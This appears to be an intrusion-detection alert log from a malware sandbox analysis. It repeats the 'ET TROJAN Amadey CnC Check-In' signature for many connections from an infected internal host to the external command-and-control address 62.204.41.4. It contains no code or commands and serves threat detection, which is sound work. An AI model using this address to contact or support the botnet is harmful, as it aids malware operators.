ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449853802027700 02/08/23-21:31:59.419398
SID:	2027700
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449775802027700 02/08/23-21:31:37.801160
SID:	2027700
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449800802027700 02/08/23-21:31:43.904291
SID:	2027700
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449858802027700 02/08/23-21:32:00.606919
SID:	2027700
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449778802027700 02/08/23-21:31:38.510712
SID:	2027700
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449809802027700 02/08/23-21:31:46.106372
SID:	2027700
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449907802027700 02/08/23-21:32:13.917744
SID:	2027700
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449876802027700 02/08/23-21:32:04.982215
SID:	2027700
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449910802027700 02/08/23-21:32:15.871067
SID:	2027700
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449760802027700 02/08/23-21:31:31.042505
SID:	2027700
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449815802027700 02/08/23-21:31:47.530708
SID:	2027700
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449913802027700 02/08/23-21:32:16.595552
SID:	2027700
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449735802027700 02/08/23-21:31:24.825436
SID:	2027700
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449928802027700 02/08/23-21:32:20.315211
SID:	2027700
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449729802027700 02/08/23-21:31:23.382592
SID:	2027700
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449840802027700 02/08/23-21:31:56.252732
SID:	2027700
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449943802027700 02/08/23-21:32:24.007317
SID:	2027700
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449845802027700 02/08/23-21:31:57.496565
SID:	2027700
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449730802027700 02/08/23-21:31:23.623024
SID:	2027700
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449886802027700 02/08/23-21:32:07.408944
SID:	2027700
Source Port:	49886
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449851802027700 02/08/23-21:31:58.949710
SID:	2027700
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449724802027700 02/08/23-21:31:22.157497
SID:	2027700
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449848802027700 02/08/23-21:31:58.209736
SID:	2027700
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449802802027700 02/08/23-21:31:44.378402
SID:	2027700
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449707802027700 02/08/23-21:31:10.935837
SID:	2027700
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449837802027700 02/08/23-21:31:54.069031
SID:	2027700
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449773802027700 02/08/23-21:31:37.289230
SID:	2027700
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449843802027700 02/08/23-21:31:57.016438
SID:	2027700
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449732802027700 02/08/23-21:31:24.105231
SID:	2027700
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449878802027700 02/08/23-21:32:05.452117
SID:	2027700
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449951802027700 02/08/23-21:32:26.219930
SID:	2027700
Source Port:	49951
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449921802027700 02/08/23-21:32:18.515786
SID:	2027700
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449873802027700 02/08/23-21:32:04.268049
SID:	2027700
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449915802027700 02/08/23-21:32:17.076591
SID:	2027700
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449956802027700 02/08/23-21:32:27.633042
SID:	2027700
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449795802027700 02/08/23-21:31:42.683944
SID:	2027700
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449893802027700 02/08/23-21:32:09.064082
SID:	2027700
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449884802027700 02/08/23-21:32:06.923410
SID:	2027700
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449954802027700 02/08/23-21:32:27.113819
SID:	2027700
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449706802027700 02/08/23-21:31:10.701281
SID:	2027700
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449865802027700 02/08/23-21:32:02.300345
SID:	2027700
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449715802027700 02/08/23-21:31:13.538251
SID:	2027700
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449762802027700 02/08/23-21:31:31.524264
SID:	2027700
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449804802027700 02/08/23-21:31:44.855991
SID:	2027700
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449969802027700 02/08/23-21:32:31.022857
SID:	2027700
Source Port:	49969
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449883802027700 02/08/23-21:32:06.680163
SID:	2027700
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449753802027700 02/08/23-21:31:29.389092
SID:	2027700
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449842802027700 02/08/23-21:31:56.777809
SID:	2027700
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449776802027700 02/08/23-21:31:38.042042
SID:	2027700
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449805802027700 02/08/23-21:31:45.092452
SID:	2027700
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449935802027700 02/08/23-21:32:22.032745
SID:	2027700
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449846802027700 02/08/23-21:31:57.735834
SID:	2027700
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449757802027700 02/08/23-21:31:30.341809
SID:	2027700
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449912802027700 02/08/23-21:32:16.359167
SID:	2027700
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449716802027700 02/08/23-21:31:14.532463
SID:	2027700
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449781802027700 02/08/23-21:31:39.216997
SID:	2027700
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449953802027700 02/08/23-21:32:26.867865
SID:	2027700
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449823802027700 02/08/23-21:31:49.543782
SID:	2027700
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449734802027700 02/08/23-21:31:24.588963
SID:	2027700
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449899802027700 02/08/23-21:32:10.520938
SID:	2027700
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449861802027700 02/08/23-21:32:01.357771
SID:	2027700
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449772802027700 02/08/23-21:31:37.016273
SID:	2027700
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449916802027700 02/08/23-21:32:17.326423
SID:	2027700
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449950802027700 02/08/23-21:32:25.900036
SID:	2027700
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449763802027700 02/08/23-21:31:31.780351
SID:	2027700
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449852802027700 02/08/23-21:31:59.185304
SID:	2027700
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449941802027700 02/08/23-21:32:23.532205
SID:	2027700
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449925802027700 02/08/23-21:32:19.523158
SID:	2027700
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449922802027700 02/08/23-21:32:18.772895
SID:	2027700
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449738802027700 02/08/23-21:31:25.612828
SID:	2027700
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449836802027700 02/08/23-21:31:53.163923
SID:	2027700
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449827802027700 02/08/23-21:31:50.529167
SID:	2027700
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449833802027700 02/08/23-21:31:51.983787
SID:	2027700
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449931802027700 02/08/23-21:32:21.032345
SID:	2027700
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449744802027700 02/08/23-21:31:27.200875
SID:	2027700
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449747802027700 02/08/23-21:31:27.935502
SID:	2027700
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449919802027700 02/08/23-21:32:18.035543
SID:	2027700
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449794802027700 02/08/23-21:31:42.450951
SID:	2027700
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449880802027700 02/08/23-21:32:05.941168
SID:	2027700
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449750802027700 02/08/23-21:31:28.669505
SID:	2027700
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449791802027700 02/08/23-21:31:41.723772
SID:	2027700
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449785802027700 02/08/23-21:31:40.215518
SID:	2027700
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449874802027700 02/08/23-21:32:04.500033
SID:	2027700
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449963802027700 02/08/23-21:32:29.504401
SID:	2027700
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449814802027700 02/08/23-21:31:47.295499
SID:	2027700
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449849802027700 02/08/23-21:31:58.454915
SID:	2027700
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449725802027700 02/08/23-21:31:22.403677
SID:	2027700
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449938802027700 02/08/23-21:32:22.819598
SID:	2027700
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449903802027700 02/08/23-21:32:11.766469
SID:	2027700
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449855802027700 02/08/23-21:31:59.888895
SID:	2027700
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449944802027700 02/08/23-21:32:24.249933
SID:	2027700
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449808802027700 02/08/23-21:31:45.869321
SID:	2027700
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449766802027700 02/08/23-21:31:32.973144
SID:	2027700
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449719802027700 02/08/23-21:31:17.030553
SID:	2027700
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449939802027700 02/08/23-21:32:23.062857
SID:	2027700
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449731802027700 02/08/23-21:31:23.865413
SID:	2027700
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449746802027700 02/08/23-21:31:27.686672
SID:	2027700
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449844802027700 02/08/23-21:31:57.262976
SID:	2027700
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449942802027700 02/08/23-21:32:23.769179
SID:	2027700
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449792802027700 02/08/23-21:31:41.968819
SID:	2027700
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449890802027700 02/08/23-21:32:08.343447
SID:	2027700
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449703802027700 02/08/23-21:31:09.854969
SID:	2027700
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449774802027700 02/08/23-21:31:37.538022
SID:	2027700
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449872802027700 02/08/23-21:32:04.015502
SID:	2027700
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449801802027700 02/08/23-21:31:44.140311
SID:	2027700
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.3 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.362.204.41.449859802027700 02/08/23-21:32:00.842850
